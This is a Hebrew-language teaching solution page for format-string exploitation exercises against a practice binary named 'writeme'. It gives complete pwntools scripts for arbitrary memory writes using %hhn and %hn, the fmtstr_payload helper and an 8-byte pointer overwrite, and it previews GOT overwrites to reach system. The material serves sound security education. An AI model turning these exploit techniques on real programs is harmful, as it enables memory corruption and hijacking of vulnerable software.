5.3 כתיבה שרירותית עם n פתרון
פתרון - כתיבה שרירותית עם n¶
נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי וה-exploit המלא. הכתובות שמופיעות כאן הן דוגמה - אצלכם secret עשוי לשבת בכתובת מעט שונה לפי גרסת המהדר, אז תמיד תשלפו אותה מהבינארי שלכם עם nm או מהשורה שהתוכנית מדפיסה, ולא תעתיקו עיוור.
פתרון תרגיל 1 - סיור ומציאת offset¶
שליפת כתובת secret:
והתוכנית מדפיסה את אותו הדבר בריצה:
מציאת ה-offset. שולחים סמן ברור אחרי מפרידים:
$ python3 -c "print('AAAAAAAA' + '.%p'*8)" | ./writeme
secret @ 0x404060
AAAAAAAA.0x7ffd...e0.0x0.0x0.(nil).0x1.0x4141414141414141.0x2e70252e70252e70. ...
secret = 0x0
ה-0x4141414141414141 (שמונה תווי A) הופיע ב-%p השישי, אז ה-offset שלנו הוא 6. כלומר %6$p יקרא בדיוק את שמונת הבתים הראשונים של הקלט שלנו, ו-%6$hn יכתוב לכתובת שיושבת שם.
למה זה עבד: ב-x86-64 חמשת הארגומנטים הראשונים של printf מגיעים מהרגיסטרים rsi..r9, וה-buf על המחסנית הוא הארגומנט השישי. איך להכליל: המספר תלוי בבינארי ובמיקום הbuffer, אז תמדדו אותו בכל אתגר מחדש עם הטריק של רצף ה-A-ים.
פתרון תרגיל 2 - כתיבת בית בודד עם %hhn¶
רוצים לכתוב 0x41 (65) לבית הנמוך של secret. נשים את הכתובת בסוף, מרופדת לalignment של 8, ונכוון את האינדקס:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./writeme')
secret = elf.symbols['secret']
offset = 6
FMT_QWORDS = 2 # pad the format part to 16 bytes
addr_index = offset + FMT_QWORDS # => 8
fmt = f'%65c%{addr_index}$hhn'.encode() # print 65 characters, write a byte to the counter
fmt = fmt.ljust(FMT_QWORDS * 8, b'a') # padding for alignment
payload = fmt + p64(secret)
p = process('./writeme')
p.recvline()
p.sendline(payload)
print(p.recvall(timeout=2).decode())
הפלט (מתעלמים ממרבצי התווים שהודפסו):
למה זה עבד: %65c הביא את המונה ל-65, ואז %8$hhn כתב את הבית הנמוך של המונה (0x41) לכתובת שבארגומנט 8. בארגומנט 8 שמנו את &secret, כי חלק הformat תפס בדיוק 2 qwords (אינדקסים 6 ו-7) ואחריו התחיל בלוק הכתובות. איך להכליל: כל כתיבת נתח בודד היא בדיוק הצורה הזו - %<רוחב>c%<idx>$hhn כשהכתובת יושבת ב-idx.
פתרון תרגיל 3 - כתיבה מלאה בידיים עם %hn¶
היעד: secret == 0x1337c0de. מפרקים לשני נתחים של 16 ביט:
ממיינים בסדר עולה לפי הערך. 0x1337 (4919) קטן מ-0xc0de (49374), אז כותבים קודם את הנתח הגבוה (secret+2) ואז את הנמוך (secret+0):
counter: 0 --%4919c--> 4919 (%hn to secret+2 => 0x1337)
--%44455c--> 49374 (%hn to secret+0 => 0xc0de)
44455 = 49374 - 4919
ה-exploit המלא, בנוי בידיים בלי fmtstr_payload:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./writeme')
secret = elf.symbols['secret']
value = 0x1337c0de
offset = 6
# split into two 16-bit chunks, sort by value in ascending order
halves = [(secret + 0, value & 0xffff),
(secret + 2, (value >> 16) & 0xffff)]
halves.sort(key=lambda t: t[1])
FMT_QWORDS = 5 # pad the format part to 40 bytes
addr_index = offset + FMT_QWORDS # => 11
fmt = b''
printed = 0
for i, (addr, chunk) in enumerate(halves):
delta = (chunk - printed) % 0x10000
if delta == 0:
delta = 0x10000 # a full cycle if the value equals the counter
fmt += f'%{delta}c%{addr_index + i}$hn'.encode()
printed += delta
fmt = fmt.ljust(FMT_QWORDS * 8, b'a') # alignment, so the indexes stay stable
payload = fmt + b''.join(p64(a) for a, _ in halves)
p = process('./writeme')
p.recvline()
p.sendline(payload)
print(p.recvall(timeout=2).decode())
הפלט:
מחרוזת הformat שנוצרה בפועל היא %4919c%11$hn%44455c%12$hn, מרופדת ל-40 בתים, ואחריה p64(secret+2)+p64(secret+0). שימו לב שהכתובת הראשונה בבלוק (index 11) היא secret+2, כי אחרי המיון היא הנתח הראשון שנכתב.
למה זה עבד: המיון העולה הבטיח שכל %hn רץ כשהמונה כבר בערך הנכון, וההצמדה של הכתובות בסוף מנעה מה-null בתים לקטוע את חלק הformat. איך להכליל: אם תהפכו את סדר הכתיבות (קודם secret+0 ואז secret+2), ה-%hn השני יצטרך מונה קטן יותר, וזה בלתי אפשרי בלי overflow - נסו וראו שהתוצאה מתקלקלת.
פתרון תרגיל 4 - אותו הדבר עם fmtstr_payload¶
שורה אחת מחליפה את כל החישוב מהתרגיל הקודם:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./writeme')
payload = fmtstr_payload(6, {elf.symbols['secret']: 0x1337c0de},
write_size='short')
p = process('./writeme')
p.recvline()
p.sendline(payload)
print(p.recvall(timeout=2).decode())
הפלט זהה: secret = 0x1337c0de ואחריו WIN. השוואת גדלים בין 'byte' ל-'short':
>>> from pwn import *
>>> context.clear(arch='amd64')
>>> a = fmtstr_payload(6, {0x404060: 0x1337c0de}, write_size='byte')
>>> b = fmtstr_payload(6, {0x404060: 0x1337c0de}, write_size='short')
>>> len(a), len(b)
(123, 91)
הגרסה של 'byte' (%hhn) עושה יותר כתיבות (בית בכל פעם) אז ה-payload ארוך יותר וגם המונה עולה ביותר צעדים, אבל כל כתיבה בודדת "זולה" (עד 255). הגרסה של 'short' (%hn) עושה פחות כתיבות אבל כל אחת עשויה לדרוש עד 65535 תווים. באתגרים אמיתיים בוחרים לפי האילוצים: גודל buffer, כמה פלט מותר, והאם יש null בתים ביעד.
למה זה עבד: fmtstr_payload עשתה בדיוק מה שעשינו ידנית - פירקה לנתחים, מיינה בסדר עולה, טיפלה בoverflows, רפדה לalignment והצמידה כתובות בסוף. איך להכליל: ברגע שיש לכם offset מדויק ומילון {addr: value}, זו הדרך המהירה והאמינה. שמרו את הבנייה הידנית לרגעים שבהם fmtstr_payload לא מתאים (format לא סטנדרטי, מגבלות תווים).
פתרון תרגיל 5 (אתגר) - כתיבת כתובת שלמה של 8 בתים¶
שינוי הבינארי כך ש-secret הוא מצביע שנרצה לדרוס בערך 0xdeadbeefcafe1234. הדרך המהירה עם fmtstr_payload וכתיבת short:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./writeme')
target_val = 0xdeadbeefcafe1234
payload = fmtstr_payload(6, {elf.symbols['secret']: target_val},
write_size='short')
p = process('./writeme')
p.recvline()
p.sendline(payload)
p.recvall(timeout=2)
אימות ב-gdb שכל ארבעת הנתחים נכתבו נכון:
$ gdb ./writeme
pwndbg> break *main+... # after the vulnerable printf
pwndbg> run < payload.bin
pwndbg> x/gx &secret
0x404060 <secret>: 0xdeadbeefcafe1234
והבנייה הידנית של אותה כתיבה, ארבעה נתחים של %hn:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./writeme')
secret = elf.symbols['secret']
value = 0xdeadbeefcafe1234
offset = 6
# four chunks: secret+0/+2/+4/+6, sorted by value in ascending order
chunks = [(secret + 2*i, (value >> (16*i)) & 0xffff) for i in range(4)]
chunks.sort(key=lambda t: t[1])
FMT_QWORDS = 12 # generous room for the format part (padded for alignment)
addr_index = offset + FMT_QWORDS
fmt = b''
printed = 0
for i, (addr, chunk) in enumerate(chunks):
delta = (chunk - printed) % 0x10000
if delta == 0:
delta = 0x10000
fmt += f'%{delta}c%{addr_index + i}$hn'.encode()
printed += delta
fmt = fmt.ljust(FMT_QWORDS * 8, b'a')
payload = fmt + b''.join(p64(a) for a, _ in chunks)
p = process('./writeme')
p.recvline()
p.sendline(payload)
p.recvall(timeout=2)
הנתחים של 0xdeadbeefcafe1234 הם 0x1234, 0xcafe, 0xbeef, 0xdead לכתובות +0, +2, +4, +6. אחרי מיון עולה לפי הערך הסדר הוא 0x1234 (secret+0), 0xbeef (secret+4), 0xcafe (secret+2), 0xdead (secret+6), וההפרשים כולם חיוביים, אז לא נדרשת overflow כאן.
למה זה עבד: זה בדיוק אותו אלגוריתם כמו בכתיבה בת 4 בתים, רק עם ארבעה נתחים במקום שניים. איך להכליל: כל כתיבה של ערך רחב (מצביע, כתובת libc) מתפרקת בדיוק ככה. כשתדרסו GOT בשיעור הבא, זו תהיה בדיוק הבנייה - רק שהכתובת תהיה של ערך בטבלת ה-GOT והערך יהיה כתובת system או one_gadget.